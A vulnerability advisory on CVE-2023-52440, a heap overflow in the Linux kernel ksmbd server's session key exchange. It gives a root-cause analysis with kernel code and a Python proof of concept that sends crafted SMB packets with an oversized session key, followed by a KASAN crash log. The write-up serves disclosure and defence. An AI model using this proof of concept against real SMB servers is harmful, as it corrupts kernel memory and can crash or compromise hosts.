CVE-2023-52440 – Linux Kernel ksmbd Session Key Exchange Heap-based Buffer Overflow Remote Code Execution Vulnerability

1. Overview

When ksmbd processes SMB2 SESSION_SETUP request in authentication phase, it checks the "challenge data" provided by the client, which is used to authenticate the client. However, when ksmbd exchange the secondary session key, it doesn't check if the size of the controllable session key contained in the "challenge data" is equal to or less than 40 (the key buffer size). If a client sends "challenge data" with a malformed session key which key size is greater than 40, it will result in an out-of-bounds write.

2. Product Version

Linux Kernel 6.4.9

3. Root Cause Analysis

This vulnerability is triggered when an attacker enables key exchange during negotiation and sends a malform "challenge data" during authentication.

The SMB SESSION_SETUP operation can be divided into two phases: negotiation and authentication. During the negotiation phase, the client retrieves server information and configures the connection. One of connection settings is the `client_flags` which determines how NTLMSSP negotiation will take place; if client sets it to `NTLMSSP_NEGOTIATE_KEY_XCH` (0x40000000), ksmbd will exchanges session keys during authentication phase. Ksmbd calls `ksmbd_decode_ntlmssp_neg_blob()` save the `client_flags` provided by client, which means we can control the `client_flags` value.

```
int ksmbd_decode_ntlmssp_neg_blob(struct negotiate_message *negblob,
          int blob_len, struct ksmbd_conn *conn)
{
  // ...
  conn->ntlmssp.client_flags = le32_to_cpu(negblob->NegotiateFlags);
  return 0;
}
```

In authentication phase, the client sends "challnge data" to server to verify the user information. There are several types of data in "challenge data", such as username, domain name and session key. Ksmbd calls function `ntlm_authenticate()` for authentication, which in turn calls `ksmbd_decode_ntlmssp_auth_blob()` to decode "challenge data" and check whether the user information is correct; after that, if "client_flags" is `NTLMSSP_NEGOTIATE_KEY_XCH`, ksmbd will carry out session key exchange.

During the session key exchange, ksmbd calls `cifsarc4_setkey()` to set the original session key to an RC4 key [1]. Then, ksmbd calls `cifs_arc4_crypt()` to encrypt the new session key while copying the data to the session key buffer `sess->sess_key[]` [2]. However, ksmbd doesn't check if the `sess_key_len` in the "challenge data" (named `authblob` in following function) is less than the size of `sess->sess_key[]`.

```
int ksmbd_decode_ntlmssp_auth_blob(struct authenticate_message
*authblob,
           int blob_len, struct ksmbd_conn *conn,
           struct ksmbd_session *sess)
{
    // ...
```

```
    if (conn->ntlmssp.client_flags & NTLMSSP_NEGOTIATE_KEY_XCH) {
      struct arc4_ctx *ctx_arc4;
      unsigned int sess_key_off, sess_key_len;

      sess_key_off = le32_to_cpu(authblob->SessionKey.BufferOffset);
      sess_key_len = le16_to_cpu(authblob->SessionKey.Length);

      if (blob_len < (u64)sess_key_off + sess_key_len)
        return -EINVAL;

      ctx_arc4 = kmalloc(sizeof(*ctx_arc4), GFP_KERNEL);
      cifs_arc4_setkey(ctx_arc4, sess->sess_key, // [1]
           SMB2_NTLMV2_SESSKEY_SIZE);
      cifs_arc4_crypt(ctx_arc4, sess->sess_key, // [2]
          (char *)authblob + sess_key_off, sess_key_len);
      kfree_sensitive(ctx_arc4);
    }
  }
```

According to the definition of `struct ksmbd_session`, we know the `sess_key[]` size is 40.

```
  #define CIFS_KEY_SIZE (40)
  // ...
  struct ksmbd_session {
    u64       id;

    __u16       dialect;
    char        ClientGUID[SMB2_CLIENT_GUID_SIZE];

    struct ksmbd_user   *user;
    unsigned int      sequence_number;
    unsigned int      flags;

    bool        sign;
    bool        enc;
```

```
    bool        is_anonymous;

    int         state;
    __u8        *Preauth_HashValue;

    char        sess_key[CIFS_KEY_SIZE];
    // ...
  };
```

Therefore, `cifs_arc4_crypt()` causes out-of-bounds writes when client sends a session key larger than 40 bytes.

4. Reference

- kSMBd: a quick overview

5. Proof-Of-Concept (optional)

1. Negotiate the SMB server: connect to ksmbd, send SMB_NEGOTIATE request.

```
    payload = b""
    payload += p32(0x424d53fe)[::-1] # ProtocolId
    payload += p16(SMB2_MIN_SUPPORTED_HEADER_SIZE)[::-1] # Header
    Length
    payload += p16(0x00)[::-1] # Credit Charge
    payload += p16(0x00)[::-1] # Channel Sequence
    payload += p16(0x00)[::-1] # Reserved
    payload += p16(0x01)[::-1] # Command, SMB2_SESS_SETUP
    payload += p16(0x00)[::-1] # Credits requested
    payload += p32(0x00)[::-1] # Flags
    payload += p32(0x00)[::-1] # Chain Offset
    payload += p64(0x00)[::-1] # Message Id
```

```
payload += p64(0x00)[::-1] # Async Id
payload += p64(0x00)[::-1] # Session Id
payload += b'\x00' * 16 # Signature

payload += b"\x24\x00\x04\x00..." # [1]
payload = p32(len(payload)) + payload
s.send(payload)
s.recv(1024)
```

A valid SMB connection must starts from SMB_NEGOTIATE request. Because this phase is not important, we intercept the existing connection and use its payload [1].

2. Negotiating in session setup state: send SMB2_SESS_SETUP request with message type "NtLmNegotiate".

```
payload = B""
payload += p32(0x424d53fe)[::-1] # ProtocolId
payload += p16(SMB2_MIN_SUPPORTED_HEADER_SIZE)[::-1] # Header
Length
payload += p16(0x00)[::-1] # Credit Charge
payload += p16(0x00)[::-1] # Channel Sequence
payload += p16(0x00)[::-1] # Reserved
payload += p16(0x01)[::-1] # Command, SMB2_SESS_SETUP
payload += p16(0x00)[::-1] # Credits requested
payload += p32(0x00)[::-1] # Flags
payload += p32(0x00)[::-1] # Chain Offset
payload += p64(0x00)[::-1] # Message Id
payload += p64(0x00)[::-1] # Async Id
payload += p64(0x00)[::-1] # Session Id
payload += b'\x00' * 16 # Signature

sb = b''
sb += b"NTLMSSP\x00" # Signature
sb += p32(1)[::-1] # NtLmNegotiate
sb += p32(0x40000000)[::-1] # NegotiateFlags, [2]
sb += p32(0) + p32(0x0)[::-1] # DomainName Offset
sb += p32(0) + p32(0x0)[::-1] # WorkstationName Offset
```

```
payload += p16(25)[::-1] # StructureSize
payload += p8(0) # Flags
payload += p8(0) # SecurityMode
payload += p32(0)[::-1] # Capabilities
payload += p32(0)[::-1] # Channel
payload += p16(0x58)[::-1] # SecurityBufferOffset
payload += p16(len(sb))[::-1] # SecurityBufferLength
payload += p64(0) # PreviousSessionId
payload += sb
payload = p32(len(payload)) + payload
s.send(payload)
s.recv(1024)
```

In this phase, we set the `NTLMSSP_NEGOTIATE_KEY_XCH` bit in the field "NegotiateFlags" [2].

3. Authenticating in session setup state: send SMB2_SESS_SETUP request with message type "NtLmsAuthenticate".

```
payload = B""
payload += p32(0x424d53fe)[::-1] # ProtocolId
payload += p16(SMB2_MIN_SUPPORTED_HEADER_SIZE)[::-1] # Header
Length
payload += p16(0x00)[::-1] # Credit Charge
payload += p16(0x00)[::-1] # Channel Sequence
payload += p16(0x00)[::-1] # Reserved
payload += p16(0x01)[::-1] # Command, SMB2_SESS_SETUP
payload += p16(0x00)[::-1] # Credits requested
payload += p32(0x00)[::-1] # Flags
payload += p32(0x00)[::-1] # Chain Offset
payload += p64(0x00)[::-1] # Message Id
payload += p64(0x00)[::-1] # Async Id
payload += p64(0x00)[::-1] # Session Id
payload += b'\x00' * 16 # Signature

domain_name = 'syzkaller'
```

```
u = b''
d = b''

for i in range(len(username)): # [4]
    u += username[i].encode() + b'\x00'
for i in range(len(domain_name)):
    d += domain_name[i].encode() + b'\x00'

sb = b''
sb += b"NTLMSSP\x00" # Signature
sb += p32(3)[::-1] # NtLmsAuthenticate
sb += p32(0) + p32(0x0)[::-1] # LmChallengeResponse
sb += p16(0x10)[::-1] + p16(0x10)[::-1] + p32(64)[::-1] #
NtChallengeResponse, [3]
sb += p16(len(d))[::-1] + p16(len(d))[::-1] + p32(80)[::-1] #
DomainName
sb += p16(len(u))[::-1] + p16(len(u))[::-1] + p32(80 + len(d))
[::-1] # UserName, [4]
sb += p32(0) + p32(0x0)[::-1] # WorkstationName
sb += p16(0x100)[::-1] + p16(0x100)[::-1] + p32(80 + len(d) +
len(u))[::-1] # SessionKey, [5]
sb += p32(0)[::-1] # NegotiateFlags
sb += b'A' * 0x10 # Challenge, [3]
sb += d
sb += u # [4]
sb += b'\xAA' * 0x100 # [6]

payload += p16(25)[::-1] # StructureSize
payload += p8(0) # Flags
payload += p8(0) # SecurityMode
payload += p32(0)[::-1] # Capabilities
payload += p32(0)[::-1] # Channel
payload += p16(0x58)[::-1] # SecurityBufferOffset
payload += p16(len(sb))[::-1] # SecurityBufferLength
payload += p64(0) # PreviousSessionId
payload += sb
```

```
payload = p32(len(payload)) + payload
s.send(payload)
s.recv(1024)
```

To authenticate the client, ksmbd checks if fields is valid. First, it checks ChallengeResponse is larger than 0x10 [3], and then it checks if the provided UserName exists [4].

The most important part is field "SessionKey" [5], the first two "0x100" values are the length fields (Length and MaximumLength in linux kernel struct `struct security_buffer`), and the SessionKey content are 0x100 times '\xAA' [6]. Because the length is larger than 40, it triggers an out-of-bounds write to other fields in `struct session`, which also triggers KASAN error messages.

```
[ 2140.661606]
==================================================================
[ 2140.663154] BUG: KASAN: slab-out-of-bounds in
cifs_arc4_crypt+0x14f/0x190
[ 2140.664318] Write of size 1 at addr ffff8880069bb120 by task
kworker/0:2/255
[ 2140.664648]
[ 2140.664733] CPU: 0 PID: 255 Comm: kworker/0:2 Not tainted 6.4.9
#1
[ 2140.665027] Hardware name: QEMU Standard PC (i440FX + PIIX,
1996), BIOS 1.15.0-1 04/01/2014
[ 2140.665428] Workqueue: ksmbd-io handle_ksmbd_work
[ 2140.665661] Call Trace:
[ 2140.665787]  <TASK>
[ 2140.667229]  ksmbd_decode_ntlmssp_auth_blob+0x1d4/0x270
[ 2140.667482]  smb2_sess_setup+0x6db/0x1800
[ 2140.668927]  handle_ksmbd_work+0x277/0x720
[ 2140.669362]  process_one_work+0x419/0x760
[ 2140.669571]  worker_thread+0x2a2/0x6f0
[ 2140.670169]  kthread+0x187/0x1d0
[ 2140.670572]  ret_from_fork+0x1f/0x30
[ 2140.670753]  </TASK>
```

```
[ 2140.670866]
[ 2140.671988] The buggy address belongs to the object at
ffff8880069bb000
[ 2140.671988]  which belongs to the cache kmalloc-512 of size 512
[ 2140.672577] The buggy address is located 0 bytes to the right of
[ 2140.672577]  allocated 288-byte region [ffff8880069bb000,
ffff8880069bb120)
[ 2140.673192]
[ 2140.673276] The buggy address belongs to the physical page:
[ 2140.673582]
[ 2140.673667] Memory state around the buggy address:
[ 2140.673907]  ffff8880069bb000: 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00
[ 2140.674251]  ffff8880069bb080: 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00
[ 2140.674603] >ffff8880069bb100: 00 00 00 00 fc fc fc fc fc fc fc
fc fc fc fc fc
[ 2140.674948]                                 ^
[ 2140.675160]  ffff8880069bb180: fc fc fc fc fc fc fc fc fc fc fc
fc fc fc fc fc
[ 2140.675508]  ffff8880069bb200: fc fc fc fc fc fc fc fc fc fc fc
fc fc fc fc fc
```

7. Attachment (optional)

- poc.c - the exploit source file
- bzImage - the kernel image
- run.sh - the script which setups environment and runs exploit
- ...